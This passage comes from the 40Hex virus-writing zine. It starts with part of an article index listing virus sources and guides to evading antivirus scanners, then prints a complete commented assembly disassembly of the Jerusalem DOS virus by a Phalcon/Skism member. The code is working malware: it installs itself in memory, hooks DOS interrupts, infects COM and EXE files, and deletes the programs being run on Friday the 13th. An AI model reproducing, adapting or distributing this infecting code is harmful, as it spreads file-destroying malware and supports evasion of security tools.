|Green Caterpillar Debug Script | 10 | 005 |
|Virus Spotlite: Bad Boy 2 | 10 | 006 |
|A Case Against Encryption | 10 | 007 |
|Ontario 3 source code | 10 | 008 |
|40Hex Survey | 10 | 009 |
|=========================================================================|
|Today's Phalcon/Skism Gripe | 11 | 001 |
|Advanced Polymorphism Primer, Part 1 | 11 | 002 |
|Phalcon/Skism Trigger Virus & DAME Source Code | 11 | 003 |
|Virus Censorship (Gripe Part II) | 11 | 004 |
|Virus Spotlite: Leech | 11 | 005 |
|Fun with System File Tables | 11 | 006 |
|SVC 5.0 disassembly | 11 | 007 |
|Predator Source Code | 11 | 008 |
|=========================================================================|
|DAME Source 'Updated' | 12 | 001 |
|40Hex Hardcopy Rumors Confirmed | 12 | 002 |
|A Self Dis-Infecting .COM File | 12 | 003 |
|AIS BBS Commentary | 12 | 003 |
|Natas Virus By Priest | 12 | 005 |
|A Commentary by Sara Gordon | 12 | 006 |
|Nympho Mitosis 2.0 Debug Script | 12 | 007 |
|Viruses In The News | 12 | 008 |
|OS/2 Virus Source | 12 | 009 |
|=========================================================================|
This section sorted by article title.
|=========================================================================|
|Title: | Issue # | File # |
|=========================================================================|
|!Virus Contest! | 6 | 00C |
|.....................................................| 4 | 013 |
|1992 virus | 1 | 005 |
|40Hex Editorial | 9 | 001 |
|40Hex Hardcopy Rumors Confirmed | 12 | 002 |
|40Hex Survey | 10 | 009 |
|A Case Against Encryption | 10 | 007 |
|A Commentary by Sara Gordon | 12 | 006 |
|A New Virus Naming Convention | 9 | 007 |
|A Self Dis-Infecting .COM File | 12 | 003 |
|A Word From Hellraiser | 3 | 001 |
|Advanced Polymorphism Primer, Part 1 | 11 | 002 |
|Afterwords | 3 | 010 |
|AIS BBS Commentary | 12 | 003 |
|Alliance w/McAfee and Dvorak | 5 | 004 |
|An Introduction to Non-overwriting Virii | 7 | 003 |
|And now a word from a real dick. | 2 | 007 |
|Anthrax | 3 | 003 |
|Application for SKISM | 3 | 005 |
|ARCV Busted | 10 | 004 |
|Artical on The Dark Avenger. | 2 | 005 |
|BUSTED! Instigator's Story | 5 | 001 |
|Checkav -P/S- Original | 8 | 004 |
|Code Concealing: Part I | 6 | 002 |
|Code Concealment [2] | 7 | 002 |
|Code Optimization | 9 | 008 |
|Cornell students nailed for viruses | 6 | 008 |
|DAME Source 'Updated' | 12 | 001 |
|Debug Script for Pogue Mahone | 7 | 009 |
|Disassembly of ASHAR | 8 | 008 |
|Ear-6 source en Espa<70>ol | 8 | 009 |
|Encryption Defeating | 4 | 010 |
|Enough Tinys to Sink a Ship | 7 | 004 |
|EXE Infectors and you | 8 | 007 |
|Findav -P/S- Style | 8 | 003 |
|Finding anti-viral programs in memory | 6 | 001 |
|Finding Scan Strings II | 5 | 007 |
|FirstStrike's Catfish virus | 9 | 009 |
|From Johns BBS | 4 | 007 |
|Fun with System File Tables | 11 | 006 |
|Green Caterpillar Debug Script | 10 | 005 |
|How to modify viruses to avoid SCAN | 1 | 002 |
|How to sneak infected files into past SCAN. | 2 | 001 |
|Interview of the month: Skism One. | 2 | 004 |
|Is This The End? | 4 | 014 |
|Letter to the Editor | 8 | 010 |
|More antidebugger techniques | 9 | 004 |
|More Busts and Updates | 6 | 003 |
|MtE News Stories | 7 | 005 |
|Mystery Virus | 3 | 008 |
|Natas Virus By Priest | 12 | 005 |
|Nina disassembly | 9 | 006 |
|Nympho Mitosis 2.0 Debug Script | 12 | 007 |
|Ontario 3 source code | 10 | 008 |
|OS/2 Virus Source | 12 | 009 |
|Phalcon/Skism Shiny Happy virus | 10 | 002 |
|Phalcon/Skism Trigger Virus & DAME Source Code | 11 | 003 |
|PHALCON/SKISM Update | 6 | 005 |
|Phoenix 2000 Debug Dump | 9 | 003 |
|Pklite Scan Strings | 4 | 009 |
|Predator Source Code | 11 | 008 |
|PS-MPC (MassProducedCode) | 8 | 001 |
|Putav, an expose! | 8 | 002 |
|RNA virus source code | 10 | 003 |
|Scan strings, and how to avoid them | 6 | 00B |
|Simple encryption techniques and Leprosy-B | 1 | 004 |
|SKISM Vengeance Virus Hex | 5 | 006 |
|Some Dick who wants to bust virus authors | 6 | 006 |
|Spammies Reminder | 7 | 007 |
|StarShip Virus Info | 8 | 005 |
|Sub-Zero virus | 1 | 003 |
|SVC 5.0 disassembly | 11 | 007 |
|SYS Virii | 9 | 002 |
|Tequilla Virus Source | 4 | 012 |
|The 1260 Virus. | 2 | 009 |
|The 1963 Virus | 5 | 003 |
|The 40Hex Challenge/The Strange Case of Validate | 3 | 004 |
|The Bob Ross virus | 4 | 002 |
|The Dark Avenger Source | 3 | 002 |
|The Darth Vader Virus Strain B | 3 | 007 |
|The Kennedy Virus | 6 | 007 |
|The Marauder Virus | 4 | 008 |
|The mother of all viruses - WHALE! | 2 | 006 |
|The NoLite Utility | 6 | 004 |
|The Ontario Virus. | 2 | 008 |
|The safe way to play with viruses. | 2 | 002 |
|The Skism 808 source code. | 2 | 010 |
|The Sunday Virus | 4 | 003 |
|The Terror Virus | 4 | 004 |
|The Truth Behind Virus Scanners | 6 | 009 |
|The Typo COM virus | 4 | 006 |
|The Ultimate Toolkit | 4 | 011 |
|Theory Dept. Viruses Slow vs. Fast. | 2 | 003 |
|Tiny-F Source | 3 | 009 |
|Today's Phalcon/Skism Gripe | 11 | 001 |
|USA Virus News | 4 | 001 |
|Vienna/Violator source code | 2 | 011 |
|Virii in the News Part I | 7 | 001 |
|Virii in the News Part II | 7 | 008 |
|Virus Author's Constitution | 5 | 005 |
|Virus Censorship (Gripe Part II) | 11 | 004 |
|Virus creation aids | 10 | 001 |
|Virus News For October/91 | 3 | 006 |
|Virus Spotlight, The Tiny virus | 1 | 001 |
|Virus Spotlight: Ambulance Car | 5 | 002 |
|Virus Spotlite-Dir2 Full commented source | 6 | 00A |
|Virus Spotlite: 4096 | 9 | 005 |
|Virus Spotlite: Bad Boy 2 | 10 | 006 |
|Virus Spotlite: Leech | 11 | 005 |
|Virus Spotlite: Michelangelo | 8 | 006 |
|Virus Spotlite:Dissassembly of Leap Frog | 7 | 006 |
|Virus Survay Artical | 4 | 005 |
|Viruses In The News | 12 | 008 |
|=========================================================================|
40Hex Number 13 Volume 4 Issue 1 File 008
.model tiny
.code
org 0
; Jerusalem (Standard)
; Disassembly by Dark Angel of Phalcon/Skism
viruslength = (endjerusalem - jerusalem)
jerusalem:
jmp enter_jerusalem
db 'sU'
marker db 'MsDos'
COMdest dw 0, 0
activate_flag db 0
zero dw 0
filesize dw 3
oldint8 dw 0, 0
oldint21 dw 0, 0
oldint24 dw 0, 0
int8counter dw 0
tempheader dw 0
EXEdest dw 0,0
_initialSP dw 0
_initialSS dw 0
_headersize dw 0
_filelengthlo dw 0
_filelengthhi dw 0
savePSP1 dw 0
respara dw 80h
parmblock:
dw 0 ; use current environment
dw 80h
savePSP2 dw 0 ; pointer to command line
dw 5Ch
savePSP3 dw 0 ; pointer to 1st FCB
dw 6Ch
savePSP4 dw 0 ; pointer to 2nd FCB
saveSP dw 0
saveSS dw 0
initialCSIP dw 0, 0
oldintFF dw 0
db 0
COM_EXE_flag db 0
header dw 0Eh dup (0)
readbuffer db 5 dup (0)
filehandle dw 0
fileattr dw 0
filedate dw 0
filetime dw 0
pagesize dw 200h
parasize dw 10h ; paragraph->byte conversion
filelength dw 0, 0
filenameptr dw 0, 0
command_com db 'COMMAND.COM'
alloc_flag dw 0
db 0, 0, 0, 0
enter_jerusalem:
cld
mov ah,0E0h ; installation check
int 21h
cmp ah,0E0h
jae not_resident
cmp ah,3
jb not_resident
mov ah,0DDh ; restore EXE file
mov di,100h
mov si,offset endjerusalem
add si,di
mov cx,cs:[di+filesize]
int 21h
not_resident:
mov ax,cs
add ax,10h
mov ss,ax
mov sp,700h
push ax
mov ax,offset relocate_entry
push ax
retf
relocate_entry:
cld
push es
mov cs:savePSP1,es
mov cs:savePSP2,es
mov cs:savePSP3,es
mov cs:savePSP4,es
mov ax,es
add ax,10h
add cs:initialCSIP+2,ax
add cs:saveSS,ax
mov ah,0E0h ; installation check
int 21h
cmp ah,0E0h
jae install_virus
cmp ah,3
pop es
mov ss,cs:saveSS
mov sp,cs:saveSP
jmp dword ptr cs:initialCSIP
install_virus:
xor ax,ax
mov es,ax
mov ax,es:0FFh*4
mov cs:oldintFF,ax
mov al,es:0FFh*4+2
mov byte ptr cs:oldintFF+2,al
mov word ptr es:0FFh*4,0A5F3h ; encode rep movsw
mov byte ptr es:0FFh*4+2,0CBh ; encode retf
pop ax
add ax,10h
mov es,ax
push cs
pop ds
mov cx,viruslength
shr cx,1
xor si,si
mov di,si
push es
mov ax,offset return_here
push ax
db 0EAh ; jmp far ptr
dw 03FCh, 0
return_here:
mov ax,cs
mov ss,ax
mov sp,700h
xor ax,ax
mov ds,ax
mov ax,cs:oldintFF
mov ds:0FFh*4,ax
mov al,byte ptr cs:oldintFF+2
mov ds:0FFh*4+2,al
mov bx,sp
mov cl,4
shr bx,cl
add bx,10h
mov cs:respara,bx ; allocate enough memory
mov ah,4Ah ; for the virus
mov es,cs:savePSP1
int 21h
mov ax,3521h ; get int 21 vector
int 21h
mov cs:oldint21,bx ; save it
mov word ptr cs:oldint21+2,es
push cs ; set new int 21 handler
pop ds
mov dx,offset int21
mov ax,2521h
int 21h
mov es,savePSP1 ; get PSP
mov es,es:2Ch ; get environment segment
xor di,di
mov cx,7FFFh
xor al,al
scan_environment:
repne scasb
cmp es:[di],al
loopnz scan_environment
mov dx,di
add dx,3
mov ax,4B00h ; execute original program
push es
pop ds
push cs
pop es
mov bx,offset parmblock
push ds
push es
push ax
push bx
push cx
push dx
mov ah,2Ah ; get date
int 21h
mov cs:activate_flag,0 ; default to no activate
cmp cx,1987d ; don't activate in 1987
je no_activate
cmp al,5 ; friday?
jne set_int8
cmp dl,13d ; the thirteenth?
jne set_int8
inc cs:activate_flag ; mark activate
jmp short no_activate
db 90h
set_int8: ; do annoying box effect
mov ax,3508h ; get old int 8 handler
int 21h
mov cs:oldint8,bx
mov word ptr cs:oldint8+2,es
push cs
pop ds
mov int8counter,60*30*18 ; wait 30 minutes
mov ax,2508h ; set new int 8 handler
mov dx,offset int8
int 21h
no_activate:
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
pushf
call dword ptr cs:oldint21 ; execute program
push ds
pop es
mov ah,49h ; release memory block
int 21h
mov ah,4Dh ; get errorlevel to ax
int 21h
mov ah,31h ; go TSR
mov dx,600h
mov cl,4
shr dx,cl
add dx,10h
int 21h
int24:
xor al,al
iret
int8:
cmp cs:int8counter,2
jne no_box
push ax
push bx
push cx
push dx
push bp
mov ax,602h ; scroll up 2 lines
mov bh,87h ; (5,5) - (10,10)
mov cx,505h
mov dx,1010h
int 10h
pop bp
pop dx
pop cx
pop bx
pop ax
no_box:
dec cs:int8counter
jnz exitint8
mov cs:int8counter,1
push ax
push cx
push si
mov cx,4001h ; delay loop
rep lodsb
pop si
pop cx
pop ax
exitint8:
jmp dword ptr cs:oldint8 ; call original handler
int21:
pushf
cmp ah,0E0h ; installation check?
jne not_install
mov ax,300h ; return installation marker
popf
iret
not_install:
cmp ah,0DDh
je restore_COM
cmp ah,0DEh
je restore_EXE
cmp ax,4B00h ; execute?
jne exitint21
jmp execute
exitint21:
popf
jmp dword ptr cs:oldint21
restore_COM:
pop ax
pop ax
mov ax,100h
mov cs:COMdest,ax
pop ax ; get program CS
mov word ptr cs:COMdest+2,ax
rep movsb ; restore bytes
popf
mov ax,cs:zero ; clear AX
jmp dword ptr cs:COMdest ; return to original COM file
restore_EXE:
add sp,6
popf
mov ax,cs
mov ss,ax
mov sp,offset endjerusalem
push es
push es
xor di,di
push cs
pop es
mov cx,10h
mov si,bx
mov di,offset tempheader
rep movsb
mov ax,ds
mov es,ax
mul cs:parasize ; convert to bytes
add ax,cs:_headersize
adc dx,0
div cs:parasize ; convert to paragraphs
mov ds,ax
mov si,dx
mov di,dx
mov bp,es
mov bx,cs:_filelengthhi
or bx,bx
jz no_move_code
move_code:
mov cx,8000h
rep movsw
add ax,1000h
add bp,1000h
mov ds,ax
mov es,bp
dec bx
jnz move_code
no_move_code:
mov cx,cs:_filelengthlo
rep movsb
pop ax
push ax
add ax,10h
add cs:_initialSS,ax
add word ptr cs:EXEdest+2,ax
mov ax,cs:tempheader
pop ds
pop es
mov ss,cs:_initialSS
mov sp,cs:_initialSP
jmp dword ptr cs:EXEdest
delete_file:
xor cx,cx ; clear file attributes
mov ax,4301h
int 21h
mov ah,41h ; delete file
int 21h
mov ax,4B00h ; execute it
popf
jmp dword ptr cs:oldint21
execute:
cmp cs:activate_flag,1
je delete_file
mov cs:filehandle,0FFFFh
mov cs:alloc_flag,0
mov cs:filenameptr,dx
mov word ptr cs:filenameptr+2,ds
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cld
mov di,dx
xor dl,dl
cmp byte ptr [di+1],':' ; drive specified?
jne execute_nodrive
mov dl,[di] ; get drive
and dl,1Fh ; convert to number
execute_nodrive:
mov ah,36h ; get drive info`s
int 21h
cmp ax,0FFFFh ; drive exist?
jne check_drivespace
go_exit_execute:
jmp exit_execute
check_drivespace:
mul bx ; ax = clus/sec, bx=free clus
mul cx ; cx = bytes/sector
or dx,dx ; check if enough free space
jnz enough_space
cmp ax,viruslength
jb go_exit_execute
enough_space:
mov dx,cs:filenameptr
push ds
pop es
xor al,al
mov cx,41h
repne scasb
mov si,cs:filenameptr
uppercase_loop:
mov al,[si]
or al,al
jz uppercase_loop_done
cmp al,'a'
jb not_lower
cmp al,'z'
ja not_lower
sub byte ptr [si],' ' ; convert to uppercase
not_lower:
inc si
jmp short uppercase_loop
uppercase_loop_done:
mov cx,0Bh ; check if command.com
sub si,cx
mov di,offset command_com
push cs
pop es
mov cx,0Bh
repe cmpsb
jnz not_command_com
jmp exit_execute
not_command_com:
mov ax,4300h ; get file attributes
int 21h
jc error1
mov cs:fileattr,cx
error1:
jc error2
xor al,al
mov cs:COM_EXE_flag,al ; ASSume COM file
push ds
pop es
mov di,dx
mov cx,41h
repne scasb
cmp byte ptr [di-2],'M'
je EXEidentified
cmp byte ptr [di-2],'m'
je EXEidentified
inc cs:COM_EXE_flag
EXEidentified:
mov ax,3D00h ; open file r/o
int 21h
error2:
jc error3
mov cs:filehandle,ax
mov bx,ax
mov ax,4202h ; go to end of file - 5 bytes
mov cx,0FFFFh
mov dx,0FFFBh
int 21h
jc error2
add ax,5 ; get file size
mov cs:filesize,ax
mov cx,5 ; read last 5 bytes
mov dx,offset readbuffer
mov ax,cs
mov ds,ax
mov es,ax
mov ah,3Fh
int 21h
mov di,dx
mov si,offset marker
repe cmpsb
jnz not_infected
mov ah,3Eh ; close file
int 21h
jmp exit_execute
not_infected:
mov ax,3524h ; get old int 24 handler
int 21h
mov oldint24,bx ; and save it
mov word ptr oldint24+2,es
mov dx,offset int24 ; set ours as new one
mov ax,2524h
int 21h
lds dx,dword ptr filenameptr; load file name
xor cx,cx ; clear file attributes
mov ax,4301h
int 21h
error3:
jc error4
mov bx,cs:filehandle
mov ah,3Eh ; close file
int 21h
mov cs:filehandle,0FFFFh
mov ax,3D02h ; open file read/write
int 21h
jc error4
mov cs:filehandle,ax ; save handle
mov ax,cs
mov ds,ax
mov es,ax
mov bx,filehandle
mov ax,5700h ; get file time/date
int 21h
mov filedate,dx ; save them
mov filetime,cx
mov ax,4200h ; go to start of file
xor cx,cx
mov dx,cx
int 21h
error4:
jc error5
cmp COM_EXE_flag,0
je infect_com
jmp short infect_exe
db 90h
infect_com:
mov bx,1000h ; allocate one segment
mov ah,48h
int 21h
jnc allocation_fine
mov ah,3Eh ; close file
mov bx,filehandle
int 21h
jmp exit_execute
allocation_fine:
inc alloc_flag
mov es,ax ; copy virus to new buffer
xor si,si
mov di,si
mov cx,viruslength
rep movsb
mov dx,di
mov cx,filesize
mov bx,filehandle
push es
pop ds
mov ah,3Fh ; read file to buffer
int 21h
error5:
jc error6
add di,cx
xor cx,cx ; go to start of file
mov dx,cx
mov ax,4200h
int 21h
mov si,offset marker ; zopy marker to end of file
mov cx,5
rep movs byte ptr es:[di],cs:[si]
mov cx,di ; write virus + carrier
xor dx,dx
mov ah,40h
int 21h
error6:
jc error7
jmp error12
infect_exe:
mov cx,1Ch ; read EXE header
mov dx,offset header
mov ah,3Fh
int 21h
error7:
jc error8
mov word ptr ds:header+12h,1984h ; infection marker
mov ax,ds:header+0eh; initial SS
mov ds:saveSS,ax
mov ax,ds:header+10h ; initial SP
mov ds:saveSP,ax
mov ax,ds:header+14h
mov ds:initialCSIP,ax
mov ax,ds:header+16h
mov ds:initialCSIP+2,ax
mov ax,ds:header+4 ; get file size
cmp word ptr ds:header+2,0 ; rounded?
je not_rounded
dec ax ; deround
not_rounded:
mul word ptr ds:pagesize
add ax,ds:header+2
adc dx,0 ; get total file size
add ax,0Fh
adc dx,0
and ax,0FFF0h ; round to nearest paragraph
mov ds:filelength,ax
mov ds:filelength+2,dx
add ax,viruslength ; add virus length
adc dx,0
error8:
jc error9
div word ptr ds:pagesize ; convert to page size
or dx,dx ; need to round
jz dont_round
inc ax
dont_round:
mov ds:header+4,ax ; put new values in header
mov ds:header+2,dx
mov ax,ds:filelength ; convert filesize
mov dx,ds:filelength+2
div word ptr ds:parasize ; to paragraphs
sub ax,ds:header+8 ; subtract header size
mov ds:header+16h,ax ; insert as initial CS
mov word ptr ds:header+14h,offset relocate_entry
mov ds:header+0eh,ax ; insert new stack segment
mov word ptr ds:header+10h,offset endjerusalem; & pointer
xor cx,cx ; rewind to start of file
mov dx,cx
mov ax,4200h
int 21h
error9:
jc error10
mov cx,1Ch ; write new header to file
mov dx,offset header
mov ah,40h
int 21h
error10:
jc error11
cmp ax,cx
jne error12
mov dx,ds:filelength ; go to end of file
mov cx,ds:filelength+2
mov ax,4200h
int 21h
error11:
jc error12
xor dx,dx ; concatenate virus
mov cx,viruslength
mov ah,40h
int 21h
error12:
cmp cs:alloc_flag,0 ; did we allocate memory?
je no_free ; no, don't free
mov ah,49h ; release memory
int 21h
no_free:
cmp cs:filehandle,0FFFFh ; clear variables
je exit_execute
mov bx,cs:filehandle ; restore file date/time
mov dx,cs:filedate
mov cx,cs:filetime
mov ax,5701h
int 21h
mov ah,3Eh ; close file
int 21h
lds dx,dword ptr cs:filenameptr
mov cx,cs:fileattr
mov ax,4301h ; restore attributes
int 21h
lds dx,dword ptr cs:oldint24; restore int 24 handler
mov ax,2524h
int 21h
exit_execute:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp dword ptr cs:oldint21
; slack space for stack here
org 710h
endjerusalem:
nop
int 20h
db 'MsDos'
end jerusalem